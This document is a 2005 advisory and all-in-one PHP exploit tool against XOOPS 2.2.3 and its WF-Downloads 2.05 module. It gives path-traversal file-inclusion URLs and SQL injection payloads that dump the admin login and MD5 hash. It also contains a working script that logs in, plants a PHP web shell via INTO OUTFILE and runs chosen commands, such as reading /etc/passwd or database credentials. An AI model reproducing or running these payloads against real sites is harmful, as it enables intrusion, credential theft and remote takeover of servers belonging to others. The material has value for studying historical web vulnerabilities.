11.04 12/11/2005 [1]XOOPS 2.2.3 Final arbitrary local inclusion [2]XOOPS WF-Downloads module v 2.05 SQL Injection / Administrative credentials disclousre / Remote commands execution software: site: http://www.xoops.org/ description: "XOOPS is an extensible, OO (Object Oriented), easy to use dynamic web content management system written in PHP." [1] you can view any file on target system and include an arbitrary php file (without to specify extension),poc: http://[target]/[path_to_xoops]/class/xoopseditor/textarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script http://[target]/[path_to_xoops]/class/xoopseditor/textarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00 http://[target]/[path_to_xoops]/class/xoopseditor/koivi/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script http://[target]/[path_to_xoops]/class/xoopseditor/koivi/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00 http://[target]/[path_to_xoops]/class/xoopseditor/dhtmltextarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../script http://[target]/[path_to_xoops]/class/xoopseditor/dhtmltextarea/editor_registry.php?xoopsConfig[language]=../../../../../../../../../../boot.ini%00 [2]if magic_quotes_gpc off -> SQL INJECTION in viewcat.php: you can see at screen admin MD5 password hash,poc: http://[target]/[path_to_xoops]/modules/wfdownloads/viewcat.php?list=-'%20UNION%20SELECT%200,0,loginname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pass,0,0%20FROM%20fXZtr_users%20WHERE%20level=5/* you can create a shell in a writable directory (this time "uploads" one),poc: http://[target]/[path_to_xoops]/modules/wfdownloads/viewcat.php?list=-1'%20or'a'='a'%20UNION%20SELECT%200,0,0,'<?php%20system($_GET[cmd]);?>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20INTO%20OUTFILE%20'../../www/xoops/uploads/shell.php'%20FROM%20fXZtr_wfdownloads_downloads/* after you can launch commands: http://[target]/[path_to_xoops]/uploads/shell.php?cmd=cat%20/etc/passwd exploit tool: <?php # ---XOOPS_WFd205_xpl.php 11.35 12/11/2005 # # # # XOOPS WF_Downloads Module v 2.05 SQL injection / # # Admin credentials disclosure & remote commands execution all-in-one # # by rgod # # site: http://rgod.altervista.org # # # # usage: launch from Apache, fill in requested fields, then go! # # # # make these changes in php.ini if you have troubles # # with this script: # # allow_call_time_pass_reference = on # # register_globals = on # # # # Sun-Tzu: "Indirect tactics, efficiently applied, are inexhausible as Heaven # # and Earth, unending as the flow of rivers and streams; like the sun and # # moon, they end but to begin anew; like the four seasons, they pass away to # # return once more. # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'<html><head><title>XOOPS WF_Downloads module 2.05 SQL Injection </title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img {background-color: #FFFFFF !important} input {background-color: #303030 !important} option { background-color: #303030 !important} textarea {background-color: #303030 !important} input {color: #1CB081 !important} option {color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox {background-color: #303030 !important} select {font-weight: normal; color: #1CB081; background-color: #303030;} body {font-size: 8pt !important; background-color: #111111; body * {font-size: 8pt !important} h1 {font-size: 0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em !important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em !important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em !important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: normal !important} *{text-decoration: none !important} a:link,a:active,a:visited { text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline; color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6"> XOOPS WF_Downloads module 2.05 SQL Injection </p><p class=" Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank";> http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host= value&port=value&command=value&proxy=value&action=value"><p><input type="text" name="host"> <span class="Stile5"> * hostname (ex: www.sitename.com) </span></p> <p><input type="text" name="path"><span class="Stile5"> * path ( ex: /xoops/ or just / )</span></p><p><input type="text" name="username"><span class="Stile5"> * username</span></p><p><input type="text" name="password"><span class="Stile5"> * ...and password, to retrieve a session cookie</span> </p> <p><input type="text" name="action"><span class="Stile5"> * action: "HASH" to disclose admin loginname & MD5 password hash, "CMD" to launch commands </span> </p><p> <input type="text" name="pathtoWWW"><span class="Stile5">path to WWW ftom Mysql directory,need this for "...INTO OUTFILE ..." statement (default: ../../www) </span></p><p> <input type="text" name="table_prefix"> <span class="Stile5"> specify a table prefix other than the default (fXZtr_)</span></p><p><input type="text" name="port"> <span class="Stile5">specify a port other than 80 (default value)</span> </p><p> <input type="text" name="command"> <span class="Stile5">a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file, cat ./../mainf ile.php to see database username and password</span></p><p><input type="text" name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:port) </span></p><p><input type="submit"name="Submit" value="go!"> </p> </form> </td> </tr></table></body></html>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td>  </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.<br>"; echo "Attempting to connect to ".$host." on port ".$port."...<br>"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>"; } else { echo "OK.<br><br>"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:<br>"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } if (($host<>"") and ($path<>"") and ($username<>"") and ($password<>"")) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($pathtoWWW=='') {$pathtoWWW="../../www";} #default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for #different installations if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} if ($table_prefix=='') {$table_prefix="fXZtr_";} $action=strtoupper($action); if (($action<>'HASH') and ($action<>'CMD')) {echo "Specify an action..."; die;} if ($action=="CMD"){if ($command==""){echo "specify a command..."; die;}} # STEP 1 -> Login to retrieve a session cookie, bypass referrer check... $data="uname=".urlencode($username)."&pass=".urlencode($password)."&op=login"; $packet="POST ".$p."user.php HTTP/1.1\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="Referer: http://".$host.":".$port.$path."/user.php?xoops_redirect=%2Fmodules%2Fprofile%2Factivate.php%3Fop%3Dactv%26id%3D15%26actkey%3D&PHPSESSID=7ed3f806816476461a96e18c28044414\r\n";; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $temp2=explode(' ',$temp[1]); $cookie=$temp2[0]; echo '<br>Your cookie: '.htmlentities($cookie); if ($action=='HASH'){ # STEP 2a -> Disclose Admin MD5 password hash $SQL="-' UNION SELECT 0,0,loginname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pass,0,0 FROM "; $SQL.=$table_prefix."users WHERE level=5/*"; $SQL=urlencode($SQL); $packet="GET ".$p."/modules/wfdownloads/viewcat.php?list=".$SQL." HTTP/1.1\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); $temp=explode('<span class="itemTitle">',$html); $temp2=explode('</span>',$temp[1]); echo "LOGINNAME: ".$loginname=$temp2[0].'<BR>'; $temp=explode('<div style="margin-left: 6px;" align="justify">',$html); $temp2=explode('</div>',$temp[2]); echo "MD5 HASH: ".$hash=$temp2[0].'<BR>'; } else if ($action=='CMD'){ # STEP 3a -> Inject a shell through a query... $SHELL="<?php error_reporting(0);ini_set(\"max_execution_time\",0);echo \"Hi Master \";system(\$_GET[cmd]);?>"; $SQL="-1'or'a'='a' UNION SELECT 0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO"; $SQL.="OUTFILE '".$pathtoWWW.$path."uploads/shell.php' FROM ".$table_prefix."wfdownloads_downloads/*"; $SQL=urlencode($SQL); $packet="GET ".$p."/modules/wfdownloads/viewcat.php?list=".$SQL." HTTP/1.1\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); # STEP 3b -> Launch commands... $packet="GET ".$p."/uploads/shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("Hi Master",$html)) {echo "<br>Exploit Succeded...";} else {echo "<br>Exploit Failed...";} } } else {echo "Fill * requested fields, optionally specify a proxy...";} ?> rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/xooops_xpl.html
